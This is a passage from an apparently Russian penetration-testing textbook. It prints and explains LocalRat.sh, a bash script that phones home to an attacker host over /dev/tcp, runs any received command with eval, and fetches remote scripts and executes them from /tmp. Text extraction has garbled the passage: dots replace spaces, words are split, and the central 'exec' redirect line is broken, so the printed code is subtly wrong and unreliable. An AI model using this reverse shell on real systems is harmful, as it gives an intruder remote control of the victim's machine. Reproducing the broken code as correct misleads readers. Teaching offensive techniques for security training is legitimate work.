Часть III • Тестирование на проникновение
function runScript ()
{
# передаем, какой сценарий нам нужен
echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}
# останов
sleep 1
if [[ $1 == 'exit' ]] ; then exit ; fi
cat > $TMPFL
bash $TMPFL
}
# ------------------- MAIN -------------------
# здесь может быть выполнена проверка некоторых ошибок
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}
TMPFL="/tmp/$$.sh"
trap cleanup EXIT
# звонок домой:
exec &0 2>&0
while true
do
echo -n '$ '
read -r
if [[ ${REPLY:0:1} == '!' ]]
then
# это сценарий
FN=${REPLY:1}
runScript $FN
else
# обычный случай — запустить cmd
eval "$REPLY"
fi
done
.Это.перенаправление.мы.встречали.раньше,.при.подключении.к.TCP-сокету.
stdin,.stdout.и.stderr..Обратное.подключение.к.
LocalRat.sh
.осуществляет.команда.
сценария.
nc
,.ожидающая.это.соединение..Что.здесь.может.показаться.странным,.
так.это.встроенная.команда.
exec
..Она.обычно.используется.для.запуска.вместо.
оболочки.другой.программы..Если.команда.не.предоставляется.(как.в.данном.слу-
чае),.просто.устанавливаются.все.перенаправления.и.выполнение.продолжается.
с.новыми.соединениями.ввода-вывода..С.этого.момента.всякий.раз,.когда.сценарий.
записывает.в.stdout.или.stderr,.запись.будет.производиться.в.TCP-сокет;.чтение.из.
stdin.будет.поступать.из.сокета.
Глава 16. Создание точки опоры
241
.Первый.бит.вывода.представляет.собой.строку.в.виде.приглашения.ввода,.чтобы.
пользователь.в.удаленной.системе.знал,.как.начать.ввод..Параметр.
-n
.не.учитывает.
символ.новой.строки,.поэтому.это.выглядит.как.приглашение.ввода.
.Оператор.
read
.считывает.входные.данные.пользователя.(через.TCP-сокет)..
Параметр.
-r
.указывает.
read
.обрабатывать.обратный.слеш.как.обычный.символ..
При.чтении.строки,.содержащей.обратный.слеш,.никакая.специальная.интерпре-
тация.не.выполняется.
.Если.первым.символом.ответа.пользователя.является.восклицательный.знак.
(он.же.bang),.то.(согласно.нашему.проекту).клиент.просит.загрузить.сценарий.
.Эта.подстрока,.начиная.с.индекса.1.и.до.конца.строки,.является.ответом.без.
восклицательного.знака..Мы.могли.бы.встроить.ответ.в.строку.вызова.функции.
runScript
.и.выполнять.два.отдельных.шага.
.В.этой.строке.находится.«сердце».сценария..Клиент.отправил.строку.через.TCP-
сокет,.который.считывает.этот.сценарий..Для.выполнения.команд.следует.в.этой.
строке.запустить.команду.
eval
..Если.злоумышленник.отправил.команду.
ls
,.она.
будет.запущена.и.ее.вывод.возвратится.злоумышленнику.
Мы запускаем команды внутри этого сценария так, если бы они были его частью.
На сценарий могут повлиять любые изменения переменных, вносимые этими
командами. Возможно, лучше иметь отдельный экземпляр оболочки, в которую
мы будем передавать команды. Но здесь мы использовали более простой подход.
.Когда.происходит.запрос.запуска.сценария,.вызывается.функция.
runScript
.
и.ее.первым.действием.становится.отправка.имени.сценария.обратно.в.систему.
злоумышленника.(где.будет.находиться.сценарий)..Перенаправление.stdout.уста-
навливает.соединение.через.порт.номер.два.
.Задача.
sleep
.—.дать.время.для.передачи.данных.в.другую.систему.и.предоста-
вить.этой.системе.время.для.реакции.и.ответа..Возможно,.если.передача.данных.
по.сети.происходит.очень.медленно,.потребуется.увеличить.значение.
sleep
,.опре-
деляющее.продолжительность.сна.
.Если.на.другом.конце.все.прошло.хорошо,.данное.соединение.—.перенаправле-
ние.stdin.—.позволяет.подключиться.к.системе.атакующего.и.содержимое.запро-
шенного.сценария.становится.доступным.для.чтения.из.stdin..Мы.сохраняем.вывод.
во.временном.файле.
.Теперь,.когда.у.нас.есть.файл,.мы.можем.его.выполнить.с.помощью.bash..Куда.на-
правляется.его.вывод?.Помните.перенаправление,.которое.мы.сделали.с.опера-
тором.
exec
?.Поскольку.при.вызове.
bash
.
$TMP
.
FILE
.мы.ничего.не.перенаправляем,.
242
Do'stlaringiz bilan baham: |